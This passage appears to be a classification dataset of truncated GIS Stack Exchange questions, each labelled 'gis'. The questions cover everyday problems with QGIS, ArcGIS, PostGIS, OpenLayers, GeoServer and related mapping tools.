selected/clicked on. I am following a tutorial from http://www.qgisworkshop.org/html/workshop/plugins_tutorial.html. It initially shows you how ... ",['gis'] "Title: How to use expression in QgsVectorlayer label by using python? Body: how to show the two field values as a label on features. I have done it for a field called ""ErrorDescr"" with this i need to show another field values. Other field is ""MarkerId"" ... ",['gis'] "Title: is my open source web GIS software selection ok? Body: Which are the best open source tools for building a web gis application having PAN, Zoom, Query/search, Label etc options ?. I have decided to use Postgre sql for database and geoserver as middleware. ... ",['gis'] "Title: Clipping a raster in R Body: I am building a map for the northeastern U.S.A. The map background needs to be either an altitude map or a mean annual temperature map. I have two rasters from Worldclim.org which give me these ... ",['gis'] "Title: Looks like a ghost polygon. Border line can not be deleted though two feature is the same layer Body: I'm a QGIS 1.8.0 user. I received broken shape file. I found one feature which has a border line within polygon. I tried to delete line with tool;Merger, Dissolve, Node tool and etc. I got the ... ",['gis'] "Title: An algorithm for locating candidate labelling boxes within a polygon Body: Has anyone implemented this algorithm In PostGIS? Quoting from the paper: Vector-based geographic information systems usually require annotation, such as a polygon number or attribute data, in a ... ",['gis'] "Title: What are the benefits of using ArcGIS with Postgresql over simply ArcSDE? Body: I understand that in order to benefit from ArcGIS spatial datatypes (ST_GEOMETRY, versioned geodatabases etc.) ArcSDE needs to be installed - and with the 10.1 client it is automatically installed ... ",['gis'] "Title: Getting started with development for ArcGIS Server Body: I'm currently working on upgrading a C# web service I wrote a couple of years ago built against ArcGIS Server to ArcGIS Server 10. The application in question does some basic spatial queries and ... ",['gis'] "Title: Setting a scale range for labels in KML files Body: Is there a way for labels to be displayed in KML only when zoomed in (or out) beyond a certain scale range, just as it is possible in ArcGIS? If exporting to KML from ArcGIS, I guess the first step is ... ",['gis'] "Title: Openlayers: is there any way to combine DragFeature and ModifyFeature? Body: I'm new to OpenLayers, and I am developing a basic editor using it. I can place different kind of icons (points) or paths (lines). An ""edit"" tool is required. It is supposed to allow you to modify ... ",['gis'] "Title: How to use CURRENT map document in Python tool? Body: I am attempting to use this code in a tool that I am working on: mxd = arcpy.mapping.MapDocument(""CURRENT"") df = arcpy.mapping.ListDataFrames(mxd)[0] XMIN = df.extent.XMin YMIN = df.extent.YMin XMAX ... ",['gis'] "Title: ArcMap 10.1 convert layer to CAD - clipping only desired area to send out to DWG Body: Is there a way to covert a layer to DWG such that only the desired area of the layer is exported out to a DWG? My issue is that the layer (parcels) contains all parcels for an entire county, so it is ... ",['gis'] "Title: How to hide/suppress and rename/alias fields when exporting to KML? Body: I have a feature class that needs to be exported to a KML file. I wonder if there is a way for me to export only some of the columns of the feature class's attribute table; some attributes are not ... ",['gis'] "Title: Filled Polygons on the Edge of a Map - ArcMap 10.1 Body: Today while making a map I encountered a problem with the fill from one of the displayed polygons flooding the whole map: Notice the upper right corner where the polygon appears hollow, it should ... ",['gis'] "Title: Problem installing GDAL and fiona module in arcmap10? Body: I am getting message like this Traceback (most recent call last): File """", line 1, in File ""C:\Python26\ArcGIS10.0\lib\site-packages\gdal.py"", line 2, in from osgeo.gdal import ... ",['gis'] "Title: QGis Plugin Licence Body: I would like to create a plugin using commercial software. Does the QGis licence permit this? Are there any restrictions on the licence I can choose to apply to my plugin? ",['gis'] "Title: Overwrite existing map service in ArcGIS Server 10.1 (through ArcPy) Body: I am using ArcGIS DT and Server 10.1. I want to over write existing map service though ArcPy and going through this link and getting an errorRuntime error Traceback (most recent call last): File ... ",['gis'] "Title: Nearest neighbor analysis not showing results Body: I'm trying to do a nearest neighbour analysis on fish shoals distribution. I go to Vector > Analysis Tools > Nearest neighbour analysis. I choose the appropriate layer and when I hit ok the black ... ",['gis'] "Title: Different Styles Within Vector Layer Body: Is there any way to configure OpenLayers styling method? I have a vector layer and I would like to style the features depending on a value of a flag variables, so I can't use rules. Lets say I have ... ",['gis'] "Title: How can I reclassify a raster to floating point values? Body: I have a raster of landuse values that I need to reclassify into pollution concentration values. I have the pollution values in a separate table. They are decimal values (ex. 0.0056), and my landuse ... ",['gis'] "Title: Why are layers imported into a DB with Spatialite-Gui locked from editing? Body: I have a Spatialite DB which I have imported some shp files too using Spatialite-Gui. I have full read-write access to these layers via the Spatialite-Gui, however when I open these layers from QGIS I ... ",['gis'] "Title: Geoserver not buffering external graphic in PointSymbolizer Body: We've got some Point data we're displaying in a WMS layer using geoserver 2.2 (same problem on 2.3.1). We style it with the following SLD <Rule> <PointSymbolizer> <Graphic> ... ",['gis'] "Title: VB.Net Field Population Methods Body: Disclaimer: I am basically brand new to VB.NET and ArcObjects. I am computing some statistics as a component of a larger arcobject script. I write these components to an ITable. This ITable is ... ",['gis'] "Title: Having trouble with Webserver configuration on Windows Body: im currently working on a WMS with QGIS 1.8.0 Desktop with apache from xampp. What I want to do is to have my .qgs file displayed on my webpage as a OpenLayer. So I followed this tutorial: ... ",['gis'] "Title: How to insert values from one table into another? Body: I am trying to write a script that iterates through each row of a table, calculates for this row something. The result of this calculation is finally stored in another table (with just one row). Now I ... ",['gis'] "Title: add a vector point on OSM map Body: I have managed to show Lat and Lon function init() { navigator.geolocation.getCurrentPosition(function(position) { document.getElementById('myloc').innerHTML=""Latitude: "" + ... ",['gis'] "Title: QGis non blocking notifications with pyqgis [duplicate] Body: I'm searching for the way to use the new QGis non blocking notification system with the QGis python wrapper. I found informations on this fonctionnality but nothing on how to use this especially with ... ",['gis'] "Title: How to start with Geoserver REST api? Body: i want to start use Geoserver REST api, but have no idea how to use it. In Geoserver docs i found some examples but then use cURL. Google says what cURL its console comand utilite. So i dont ... ",['gis'] "Title: Which open source GIS software to use for utility management? Body: I am looking for open source GIS software which can be used for utility management (like water, gas, electricity, road, etc.). I have done this in ArcMap 10.1 but am now looking for open source GIS ... ",['gis'] "Title: Help required with OpenLayers WPS client Body: I am using openlayers API in my web application and trying to interact with the local GeoServer via WPS. The problem I am facing is that, WPS client.execute() works only in case, if the output of the ... ",['gis'] "Title: Can the new Mapbox Vector Tiles be used as a QGIS basemap? Body: With the implementation of the mapbox vector tiles begs the question of how these could be used as a basemap in a QGIS printed map (assuming anyone cares about printed maps anymore!). To use OSM data ... ",['gis'] "Title: Tabulate Area crashes Python and ArcGIS Body: I have a script that runs Tabulate Area on a single feature class multiple times with different rasters. In total Tabulate Area runs 5 times. 2 of the input rasters are provided as arguments to the ... ",['gis'] "Title: request two layers in search action of one PanelForm Body: here's my case: i have a panelForm with 4 fields, and a search button, that search for the features that correspond to the 4 fields given by the user. and i have two layers that both contains the 4 ... ",['gis'] "Title: How to find parcels related to geocoded addresses? Body: I have geocoded a table of addresses (around 200 records) in ArcMap 10.1 and now need to select the parcel polygons that they are related to. Trouble is the geocoded addresses fall outside of the ... ",['gis'] "Title: Having trouble selecting polygon from existing layer (using OpenLayers.Control.SelectFeature) Body: I am hoping someone can point me in the right direction. I am not a programmer, so that is my first roadblock. ha The problem: I have an existing polygon layer and I am trying to select one of the ... ",['gis'] "Title: At the northpole, which way is east? [duplicate] Body: If a person stands on the north, or south pole. How do they determine which way is east/west? ",['gis'] "Title: Speeding Up ArcGIS, redrawing sooooo slow! Body: I just updated ArcGIS to 10.1 and it is so slow. When I load my template mxds they can take 30 plus seconds. And if I have to change the view it's another 30 seconds. Does anyone have any ideas ... ",['gis'] "Title: QGis Grid statistics for polygons error - Module caused access violation! Body: I'm trying to calculate statistics for a raster layer using an overlaying polygon layer, I'm using SAGA ""Grid Statistics for polygons"" function, but it returns an error, sadly.. So in the sextante log ... ",['gis'] "Title: Spatialite, to speed performance, when should I create Views, Indexes or additional spatial tables? Body: I’ve got a large Spatialite database with a table of lines (roads, rail and water). I created a spatial index of the geometry to speed things up. This works amazingly well when I’m zoomed in ... ",['gis'] "Title: Force Geoserver SRID 0 Body: I'm developing a gis solution which uses only geometry data. I designed my spatial DB with PostGIS and now I'm performing some trials connecting the DB with GeoServer map server (using the ... ",['gis'] "Title: Fixed Scale / Fixed Zoom in eCognition Body: im wondering if there is any option in eCognition Developer / Architect were I can control Zoom or Scale Factors. Its neccessary for my work that i use the same scale for all processing steps. Maybe ... ",['gis'] "Title: Model not editable on a different PC Body: I am using ArcGIS 10.1 model builder on windows 8 to create create models for my processes. But when I open the model using Arc GIS 10.1 open model for editing with Arc GIS 10.1 running on Windows 7 ... ",['gis'] "Title: Clipped raster leaks outside polygons Body: I am trying to clip a raster (DEM) with a polygon layer in ArcGIS10.1, using Data Management>>Raster>>Clip. Basically the clipped raster has many pixels outside the polygon boundary, mainly for thin ... ",['gis'] "Title: How to start developing with Jeppesen C-MAP? Body: I've just downloaded all the contents from the FTP of Jeppesen for their product called C-MAP CM93. I've been reading the documentation contained in the SDK folders, but I can't figure out how to ... ",['gis'] "Title: Oracle Feature Class Couldn't Displayed Body: I got problem on displaying feature class in Oracle, which successfully imported from file geodatabase using Append (Data Management) Tools, my experiment on copying it to Postgre no problem on ... ",['gis'] "Title: Clustering table on geohash index and geohash ordered table Body: I wonder if there could be a performance gain to re organize the rows in a table by Geohash and then CLUSTER this table on the Geohash index of the geometries. CREATE TEMPORARY TABLE tmptbl AS SELECT ... ",['gis'] "Title: what is the alternative of setZoomLevel in vector based map Body: It is commonly used to generat map tiles at a certain scale and re-organize them for web map on pc. For example googlem map, and bing map. Then user will use the setZoomLevel(int level) or something ... ",['gis'] "Title: Calculating Volume of Reservoir using python and ArcMap10? [duplicate] Body: I have a raster file with different water depth in each cell. I am using Aster DEM so my resolution of that file is 30m by 30m. Now I want to calculate the total volume in that area by multiplying ... ",['gis'] "Title: How to get polyline out of multipart feature using ArcObjects C# Body: I've got a polyline feature class and I've identified the first feature that is a multipart feature. I now want to find out which of the paths of this multipart feature intersects with a point. Up ... ",['gis'] "Title: Multiple FeatureType in WFS Protocol Body: I would like to pass multiple featureTypes to WFS protocol in order to accomplish a search feature in my app. the idea worked just fine with one featureType, but now I need to add another one to ... ",['gis'] "Title: Openlayers & WMS - GetFeatureInfo problem Body: I'm making a small project but I encounter some problems. Let me explain that : Having generated mapfile with mapserver and they are viewable by the openlayers interface, I would like to make me ... ",['gis'] "Title: Polygon to fill gap Body: Using postgis I want to fill a gap between other polygons. Can you help with some directions what functions to use ? Thank you and sorry if the question is rather noobish. Image to explain from ... ",['gis'] "Title: Why does map display like it is in Isometric when everything is in EPSG:4326? Body: I'm beginning with Geoserver and try to display a map of my country (Belgium) is an openlayer map (embedded into a MapPanel object). I've downloaded the municipalities limits from gadm.org and copied ... ",['gis'] "Title: Make Route with Python and network analyst in ArcGIS 10 Body: Good Day, I'm having trouble debugging my python code to create a network analyst layer in ArcGIS 10.0. Basically when run from a script tool the code completes successfully without actually doing ... ",['gis'] "Title: Good Learning Resources [duplicate] Body: I am very new to the GIS, maps, openlayer , mapserver etc Can someone recommend some good intro resources that can start from basics and build up. Thanks ",['gis'] "Title: How to insert features in a MS SQL based SDE without giving ObjectID s? Body: I'm trying to load features into ArcSDE without using ArcObjects, and using SQL from my .NET Application instead. I have followed the answers given in this question: Is it possible to load features ... ",['gis'] "Title: Sum all cells in raster using javascript Body: I'm creating an agent-based model in Agent Analyst for ArcGIS and I need to sum all the values in a raster that has about 7 million pixels. I'm a very beginner in programming, and have a script that ... ",['gis'] "Title: Why is Orthorectify button not active in Image Analysis Windows in ArcGIS10? Body: I wanted to Ortho rectify GeoEye HR imagery using existing RPC and IFSAR DTM in Image Analysis. According to ArcGIS Resource center ... ",['gis'] "Title: Is it possible to batch clip rasters in Quantum GIS? Body: I have been able to batch clip rasters in one directory using python in ArcGIS. However, I am not sure how to do the same in Quantum using the python console. Is this possible? If there are different ... ",['gis'] "Title: AutoDesk Infrastructure Studio - How to enable POST for WFS services? Body: I'm attempting to get feature info with the following url: SERVICE=WFS&REQUEST=DescribeFeatureType&VERSION=1.1.0&TYPENAME=ns75382197:MAPSHEET_GRID With many, many typenames listed after ... ",['gis'] "Title: What are the differences between Append and load data in ArcGIS? Body: I confused about differences between Append tool in Arctoolbox and Load data in Geodatabase. I think both of them are the same in the result feature class.Both of them use a default output feature ... ",['gis'] "Title: Diferent Line color and Diferent Markers at the same time Body: i'm about to develop a GIS Track App, but until now, i'm testing with some codes, that i've been creating, but for my project we are going to use XML as data records, today, i am able to create a ... ",['gis'] "Title: spatialite.dll with Python and QGIS - the specified module could not be found Body: I'm having a bit of a nightmare getting to the bottom of this DLL loading problem. The stand alone script works absolutely fine but the exact same code does not work within QGIS. import sys from ... ",['gis'] "Title: Raster attribute field error [duplicate] Body: I am trying to add jpegs to a raster data type attribute field. I want to this field to be managed by the file geodatabase. When I load the photos and try to save my edits it get various errors but ... ",['gis'] "Title: importing coordinates via a csv file does not work Body: I tried to manually add point data via a CSV file to an empty project in QGIS 1.8.0. The points do show up all right with the correct coordinates, but already the scale is not correct (using the ... ",['gis'] "Title: How do I convert MultiLines to MultiPolygons using Postgis Body: In postgis I'm using the following query to buffer lines to polygons: UPDATE rivers SET poly = ST_Multi(ST_Buffer(lines, 0.01)) where id = 1; The column 'lines' is a MultiLine and the column ... ",['gis'] "Title: setup Mapserver WMS from tile files Body: I'm totally new to Mapserver and I've been banging my head trying to figure out how to mount a WMS server that will seed images of a small geographical area to a OpenLayers HTML page. I already ... ",['gis'] "Title: Is it possible to post process iPhone GPS data? Body: Is there software available for post processing iPhone based GPS data? I want to post process a set of coordinate values to correct for measurement errors. There is a NOAA CORS base station about 40 ... ",['gis'] "Title: geoserver fail in publishing all data field [closed] Body: I am trying to load my data from postgis to geoserver, and when I try to publish them, I don't get all the fields from the database and when I click on reload field type it does nothing, also I have a ... ",['gis'] "Title: How to add georeferenced TIFF to AutoCAD 2010 Body: I have a ~6GB georeferenced (from ArcGIS) .TIFF satellite image that a colleague wishes to add to AutoCAD 2010. He wants it as a base layer for digitising features from. I have searched forums but ... ",['gis'] "Title: Problem in filling table of ArcSDE feature class in SQL Server 2008? Body: I have an ArcSDE point feature class and I add it to ArcMap 10. After that I add some points to it and fill every field for all points in the attribute table and Save Editing. However, the SQL ... ",['gis'] "Title: Web mapping application with time slider and raster data Body: I need to create a web mapping application that can show raster layer of historical maps with a time slider. Basically, something like this: http://goo.gl/GYHOX I have different maps of different ... ",['gis'] "Title: Extrude Between Tool not working for me Body: I am having an issue with trying to use the extrude between tool in ArcScene. I had 8-9 geologic formations that I would like to create a 3d polygon of these formations. My workflow process went ... ",['gis'] "Title: Congressional Redistricting Body: I have a project coming up where I need to create new congressional district looking at only total population data. I am planning on using the census tract level of data, but I am having some ... ",['gis'] "Title: What's the difference between “Copy Features” and “Feature Class to Feature class” Body: I have a feature class within a feature dataset in a FGDB, and I need a copy of it in another FGDB. In ArcGIS 10.1, I've used the ""Copy Features"" tool, and it looks to be the same (according to the ... ",['gis'] "Title: feature label not work in xhtml file Body: Good Morning: I have a problem, I develop an jsf application with openlayers api, this example http://openlayers.org/dev/examples/vector-features-with-text.html work fine with html page, but when I ... ",['gis'] "Title: Where is the Object Loader in ArcMap? Body: I've only used the Simple Loader in ArcCatalog. http://resources.arcgis.com/en/help/main/10.1/index.html#/About_loading_data_into_existing_feature_classes_and_tables/003n0000003r000000/ This ... ",['gis'] "Title: Are there plans for improving performance of vector files in QGIS? [closed] Body: Does anybody know if there are any improvements planned pertaining to the performance of vector files in QGIS? Right now, a 1 GB file with contour lines needs several minutes to open. In addition to ... ",['gis'] "Title: How to fill inn A, B, C …Y, Z, A, B, …Y, Z, A, B, and so on? [duplicate] Body: as a second part of a problem i am trying to solve. I need help to figure out how to fill in serial letters.. Starting at A.. going to Z and starting over at A again.. I have a tabel with numbers ... ",['gis'] "Title: Create Raster file in R from Matrix and latlons Body: I could use some advice on how to create a Raster file in R with a Matrix of datapoints and the coordinates stored in a seperate file. Both, data and coordinates come from a NetCDF file. I extracted ... ",['gis'] "Title: Deleting duplicates from multiple tables Body: Using the delete duplicates tool is there a way in Mapbasic to have it run through a large number of tables, or do you have to manually select each table and run the tool? Cheers, Jon ",['gis'] "Title: Field within a Field - Donut Parcel? Body: Firstly, apologies as I'm a newbie and have only been studying GIS for a few months. I am digitising field boundaries and have a field within a field, and am wondering what the best way of ... ",['gis'] "Title: Understanding the QGIS API documentation to write python code Body: I am not sure how to use the API documentation to code in Python. For example, I want to determine whether a layer is a point, line or polygon layer and found the following in the API documentation: ... ",['gis'] "Title: Grass won't import shapefiles Body: I have a problem involving the import vector data command, specifically importing shape files. I installed QGIS on a pc at work and there I could import shape files into GRASS GIS 6.4.3RC2 (which is ... ",['gis'] "Title: Base station coverage analysis in QGIS Body: I want to find base station coverage for a instant location. I have building data. And i determine optimum coverage as 500m far away from a base station (buffer). So how can i find optimum base ... ",['gis'] "Title: how to create a new raster from one field of a raster with several fields in a RAT Body: I have a raster with an attribute table containing many fields. I want to create a new raster from one field using arcGIS 10.1. ",['gis'] "Title: How to add a polygon from GeoJson into Leaflet? Body: I try to use the following function to add polygons to my Leaflet map. function polygon(geojson) { alert(geojson); // alert for testing layer = L.geoJson(geojson); layer.addTo(map); } ... ",['gis'] "Title: Check if layer is a QGSVectorLayer from Python Plugin within QGIS Body: I am trying to extend some concepts in the QGIS Workshop tutorial. Basically, I would like to check if the layer is of type ""QGSVectorLayer"". In the QGIS Python console, I am able to type canvas = ... ",['gis'] "Title: Does QGIS support internationalization? Body: Does QGIS support multiple languages? I have some shapefile with Arabic names in its attributes, and they appear as: ???? If I want to see the names in Arabic, do I need to purchase multi-language ... ",['gis'] "Title: Is there a way to connect to PostgreSQL in ArcCatalog without SDE? [duplicate] Body: Is there a way to connect to PostgreSQL in ArcCatalog without SDE? I came across this post from 2011 that suggested using zigGIS but I can’t find a working link to the program. A little background: ... ",['gis'] "Title: Decompress Tile Package Body: I'm curious if it's possible to decompress a 10.1 tile package (.tpk) into a different format such as the cache bundle format. ",['gis'] "Title: python gdal_polygonize error Body: I am trying to use gdal_polygonize to create a polygon from a binary raster. My code is: os.system('gdal_polygonize.py ' + filename + ' -f ESRI Shapefile ' + shapefile) where filename is a string ... ",['gis'] "Title: How do I fill in serial letters (AA, AB,AC…,BA,BB,BC…ZZ) to a shape? Body: (I am using ArcGIS software, ArcMap...) MY PROBLEM I have a shape file containing points. The shape file contains 3 columns named FID, Shape* and Label. In the column I want to fill in AA, AB, ... ",['gis'] "Title: Dynamically scaling PointSymbolizer with external svg without using scaledenominator filter in sld Body: In this example taken from Graphic Symbology - External Graphics, <PointSymbolizer> <Graphic> <ExternalGraphic> <OnlineResource xlink:type=""simple"" ... ",['gis'] "Title: “Map 1” vs “Map 0” Body: When I compose a map to print, and get everything all set; then close it for some reason; then reopen it--the scale bar appears messed up. I then go to the Scale Bar settings, and find that under ... ",['gis'] "Title: ArcMap - Opening the attribute table gives 'Could not load data from the data source' error Body: ArcMap wont display the attribute table of a dataset. I get an error 'Could not load data from the data source' and it says 'An invalid SQL statement was used'. It then opens a table with the correct ... ",['gis'] "Title: Running a script with QgsFeature from within the console Body: I am trying to run a script from the QGis Python console (similar to: http://spatialgalaxy.net/2012/01/27/qgis-running-scripts-in-the-python-console/) The line feat=QgsFeature() operates fine from ... ",['gis'] "Title: How to write a file in an Server Object Extension (SOE) Body: I would like to create a file with an ArcGIS Server Object Extension and return the url. Is this possible? Where would I write the file? I'm working with .Net, IIS, and AGS 10.1. ",['gis'] "Title: ArcGIS 10.1 SDE database schema other than SDE or DBO Body: Just wondering if it's possible to apply a schema other than SDE or DBO to SDE feature or raster tables stored in an enterprise database on MS SQL Server 2008 R2. I have got a new customise schema ... ",['gis'] "Title: ArcHydro: Flow Accumulation 863988034 Cells Body: I've been using Arc Hydro for the last 7 years to determine catchment characteristics. I'm currently setting up a new model to determine structure locations along a proposed railway alignment. This is ... ",['gis'] "Title: ESRI ArcGIS JSAPI 3.4 Defect when setting LODS on a map. How to fix? Body: I tend to get better help here then the ESRI forum so... Using http://developers.arcgis.com/en/javascript/sandbox/sandbox.html I was able to create a simple application which demonstrates that if you ... ",['gis'] "Title: Webservices for GPS (Upload on DB and display it) Body: i'm doing an application where my users would be able to upload their gps tracks. My idea is to put their tracks on mysql database and display it on appropriate map. Question:How can i do that? My ... ",['gis'] "Title: Map/Feature Services stopping periodically Body: I have 2 map services with feature access enabled running in a FLEX API web application. One of the map services seems to stop on its own a few minutes after it is started. Only one of the services ... ",['gis'] "Title: Geoserver WMST Date Format Body: There is table in SLQ-Server 2008 R2. In this table i have date column with date format like this 2006-09-08 14:39:41.000. Now i make View from this table on Geoserver side but do nothing wiht date ... ",['gis'] "Title: Get IWorkSpace from IGxObject Body: I am creating a tool that opens an IGxDialog which it's objects are filtered to show only workspaces, my question is how can I convert IGxObject to IWorkSpace or get the selected workspace without ... ",['gis'] "Title: Hillshade for 30m NED at continental scale Body: I'm new to terrain analysis. I have a 30m NED DEM (.tif) for the conterminous US. I would like to generate a nice looking hillshade for the US, but it looks bad - as in pixelated and rough (See ... ",['gis'] "Title: Want a transformation box after a user draws a polygon Body: I have built an application which allows users to draw a polygon inside another polygon. The two polygons are in different layers for some application specific reasons. After the user draws a polygon, ... ",['gis'] "Title: Multi-Band (RGBA) into single band raster Body: I have the raster which contains 4 bands (RGBA), which ilustrates the pupulation (traffic) density. I want to convert it to the simple gridded ascii, however I'm getting in the trouble when I try the ... ",['gis'] "Title: WMS - Export Retrieved XML Data Body: I use WMS layer in my app and could successfully retrieved Feature Info by click like so: http://openlayers.org/dev/examples/getfeatureinfo-control.html My question is: Is there any way to export the ... ",['gis'] "Title: How to calculate length of feature in MapInfo Body: i Would like to calculate the Sum of pipe lengths in Mapinfo within a polygon. Any ideas? ",['gis'] "Title: MapInfo8.0 is not letting me edit layers imported from the server? [duplicate] Body: I have imported 4 layerts from my server for use in MapInfo, when i went to edit these layers the edit tool for each of these layers is grey and non accessible. Any suggestions would be greatly ... ",['gis'] "Title: CSV and GDAL 1.10 in QGIS Body: It seems the GDAL upgrade from 1.9 to 1.10 changed the way CSV files are handled so that I now have a non-functioning QGIS. App hangs trying to import csv data file when previously had no problems ... ",['gis'] "Title: contour lines from point shape attribute Body: I have a point shape file and one of the attribute refers to the altitude. Is is possible to obtain a contour lines shape file in GRASS? ",['gis'] "Title: Snapping with mutiple custom tool using diffrent snapping types Body: I have a custom tool with snapping type is (snapping to point + snapping to edge), and the second tool having snapping type is snapping to point only, so when i select the first tool it works well, ... ",['gis'] "Title: Snapping start- and end nodes of lines to other lines in PostGIS Body: There are plenty examples that show how to snap lines to points, but I haven't been able to find any (fast!) way of snapping the start- and end nodes of line strings to nodes of other lines. ... ",['gis'] "Title: How to make timeline with OpenLayers? Body: I have OL, GeoExt, gxp. I have a layer with Date attribute. So i want to show features with same date. I found example using gxp_playback, but its not work couse its cant find ... ",['gis'] "Title: repost: how to show context menu in Leaflet [duplicate] Body: I asked similar question earlier but didn't get suitable answer. I am now asking again with more clarification. Please see the following google right click menu. I want to create something like this ... ",['gis'] "Title: How can I find the SRID from the WKT out of a GRIB file? Body: I have a grib2 file which I'm trying to import into PostGIS 2.0 Raster and process. Trouble is, I can't figure out what the SRID is supposed to be, or one close enough for government work. Running ... ",['gis'] "Title: Find and list all polygons that overlap with another polygon Body: I am working with two polygon layers which overlap but are unrelated (one is congressional district boundaries, the other is MPO area boundaries). I would like to generate a list of all the ... ",['gis'] "Title: HRESULT - IPersistStream.Save() Body: I have converted a VB6 project to C#, and there is one problem I cannot find documentation on. I am saving an IPropertySet to file by using IMemoryBlobStream and IPersistStream, as seen here: public ... ",['gis'] "Title: How to computational efficiently check if there are any overlapping polygons in a group of polygons? Body: I need to do some processing with groups of polygons. If any of the polygons in the group overlaps other polygon the result is unpredictable and don't throw any error. So, I need to detect if there is ... ",['gis'] "Title: Using gdal to convert from UTM to equidistant lat/lon Body: I am getting rather confused with converting a UTM gridded dataset into a equidistant/rectangular latlon gridded dataset. Can anybody help me? I have a UTM set with the following projection: ... ",['gis'] "Title: Getting “pointer” cursor at mouseover for rules/symbolizers based clusters in OpenLayers Body: I successfully used the AnimatedCluster plugin for OpenLayers. My codes uses OpenLayers.Rules and symbolizers. How can I get a ""pointer"" like mouse cursor when hovering over a cluster of features? My ... ",['gis'] "Title: Is WFS:native mandatory to get OGC compliance? Body: I am a newbie to this domain. I am using WFS 1.1.0 and found out that is has a wfs: native operation. I wanted to know whether I can get OGC compliance without implementing WFS: native or is it ... ",['gis'] "Title: My MXD is creating an XML file with the same name when I save it [duplicate] Body: Note I have not installed Xtools and I have ArcGIS 10.1. Any idea of what is going on? Here is an example of the content of the XML: <FrameworkConfig TagName=""FrameworkConfig"" ... ",['gis'] "Title: EM (electromagnetic) map to AWC (available water holding capacity) map Body: How do you use an equation from a regression analysis from Microsoft Excel to create a new available water holding capacity (AWC) map from an electromagnetic (EM) map. They are both to be in raster ... ",['gis'] "Title: Understanding the difference between coordinates projection in OSM and Google Maps Body: I'm looking at the coordinate differences between Google Maps and OSM. I'm a noob in the technicality behind GIS. Having read: EPSG 3857 or 4326 for GoogleMaps, OpenStreetMap and Leaflet How to ... ",['gis'] "Title: Geoserver - Key Authentication against a MySql Database Body: I am trying to implement a token based security scheme with Geoserver. What we need to do is send the client a license key when they log into our primary application. This license key is generated by ... ",['gis'] "Title: ArcObjects IDataset.Copy causes program to crash Body: My implementation of IDataset.Copy continues to crash and I cannot figure out why. The program attempts to copy a shapefile from a temporary folder in one directory to a final folder in another ... ",['gis'] "Title: Splitting Shapefiles [duplicate] Body: I am trying to create a code that will accept the input of a shapefile, and separate each of its features into separate shapefiles into a specified directory location. Can anyone help ? I am trying to ... ",['gis'] "Title: AttributeError: HelloWorld instance has no attribute 'connect' Body: Here's the code: import sys,os import win32api from PyQt4.QtCore import * from PyQt4.QtGui import * from qgis.core import * import ctypes from PyQt4 import uic class HelloWorld: def ... ",['gis'] "Title: OpenGeo 3.0.2 Suite not starting on Windows 8 Pro 64 bit Body: Hi I need some help please, OpenGeo 3.0.2 Suite not starting on Windows 8 Pro 64 bit. The opengeosuite log is empty. I tried to launch opengeo-suite.bat The command output is : ""Sorry, one ... ",['gis'] "Title: Self hosted, highly accurate, address geocoding? Body: I'm working on an app that requires Rooftop level accuracy coupled with very high volumes. The client would prefer to self-host the solution which might not be a bad idea considering our volume and ... ",['gis'] "Title: Is it possible to implement sticky move tolerance in a ArcGIS JavaScript API application? Body: We are working on a project in ArcGIS JavaScript and is going fine. We want to add sticky move tolerance to our project so it will not be so easy to move features on the map. Is it not possible to ... ",['gis'] "Title: Simple WebMapping application with postgis Database Body: am very new to web-mapping, so this question may be a little misguided. I want to develop a simple web mapping application using OpenLayers which can display Cadastral information that are currently ... ",['gis'] "Title: Display information while map is zoomed using OpenLayers Body: I have a map being rendered by OpenLayers using GeoServer which is serving maps using PostGIS. In the database for each line feature type (i.e road), I have the name of that road. I'm looking for a ... ",['gis'] "Title: Identify points near roadside in QGIS Body: How do I create an attribute list from points that run along roads in a shape file containing road data? The points don't intersect the road centre lines and are not consistent in their distance from ... ",['gis'] "Title: How to split a linestring every 1000 points in postgis Body: To assume compatibility with my survey software, I would like to lighten geometries of my linestrings by cutting them every 1000 points without creating or interpolating points. I transformed a ... ",['gis'] "Title: Automatically updating a table column with the name of table Body: Does anyone know a straightforward way in MapBasic to automatically update a table column with the name of the table the column exists in? Going from the MapBasic reference guide it seems the ... ",['gis'] "Title: Filter contour lines in QGIS Body: I have a shapefile of contour lines, with an ALTITUDE attribute with the height ASL in metres. The source data is in 0.5m intervals, but I'd like to filter it down so I get contour lines at (for eg.) ... ",['gis'] "Title: How to upload polygon data for appending to a geodatabase via a JS API web application Body: After a many hours of research, I am having a hard time determining the feasibility of an application I am trying to build. Basic proposed functionality is: user logs in, uploads polygon (either ... ",['gis'] "Title: cut tiles with gdal2tiles.py from a png with world coordinate info Body: I have a collection of PNG files that use the standard google maps projection and have baked into the filename of each the zoom level (all of them are at 22), the x and y pixel coordinates of the ... ",['gis'] "Title: how to create Euclidean Distance in QGIS Body: I'm trying to create distance layer for points in QGIS (similar to Euclidean Distance in ArcGIS). I see the answer you give in the url Calculating distance to points in QGIS I try it using rasterize. ... ",['gis'] "Title: Edit and query buttons disabled in geoexplorer Body: I have an issue: edit and query buttons are disabled in geoexplorer. This app use to be OK and then went wrong without doing anything on my server. How can I fix this ? Thanks, Thomas ",['gis'] "Title: How to write point geometries with arcpy instead of gp syntax? Body: Can someone help me fix some code that simply writes points into a featureclass? It used to work in the older gp. syntax, but I'm having difficulties rewriting it in arcpy for ArcGIS 10.0. In this ... ",['gis'] "Title: Creating a 3D line feature based on 3D point features Body: In ArcGIS for Desktop 10.0, is it possible to create a 3D line feature by drawing a line that connects 3D point features? ",['gis'] "Title: Duplicate an in use GeoDatabase Body: I'm wondering if there is anyway to duplicate an in use ESRI File GeoDatabase. The GeoDatabase I have is being used by ArcServer for a few of our web mapping applications. Now I understand I could ... ",['gis'] "Title: Can I apply the Euclidean Distance tool for a single point feature class? [duplicate] Body: So, as suggested in my previous question, I tried to perform perform the Euclidean Distance tool for a single point feature class. For som e reason it doesn't work and the error given is ERROR010092: ... ",['gis'] "Title: Calculate complete spatial randomness using Python [duplicate] Body: I currently use the csr() function from Splancs for R (http://cran.r-project.org/web/packages/splancs/splancs.pdf) to calculate complete spatial randomness (CSR) points to be used for spatial ... ",['gis'] "Title: How to Publish a Time Aware Mosaic dataset as an ImageService with Temporal component? Body: I have a Time Aware Mosaic dataset , which contains 5 rasters. I have entered the dates for the given rasters, by adding a Text Field with the dates. (The dates of the images are from 3/1/2013 to ... ",['gis'] "Title: How to use Raster Calculator in ArcGIS 9.3? [closed] Body: Raster Calculator tool is not available in ArcGIS 9.3 , so how to do in 9.3.??? thanks in advance ",['gis'] "Title: Installing knn on PostgreSQL for windows Body: I am trying to install the extension KNN for clustering as an extension on my PostgreSQL database. I have downloaded the file http://www.pgxn.org/tag/analysis I found instructions on how to ... 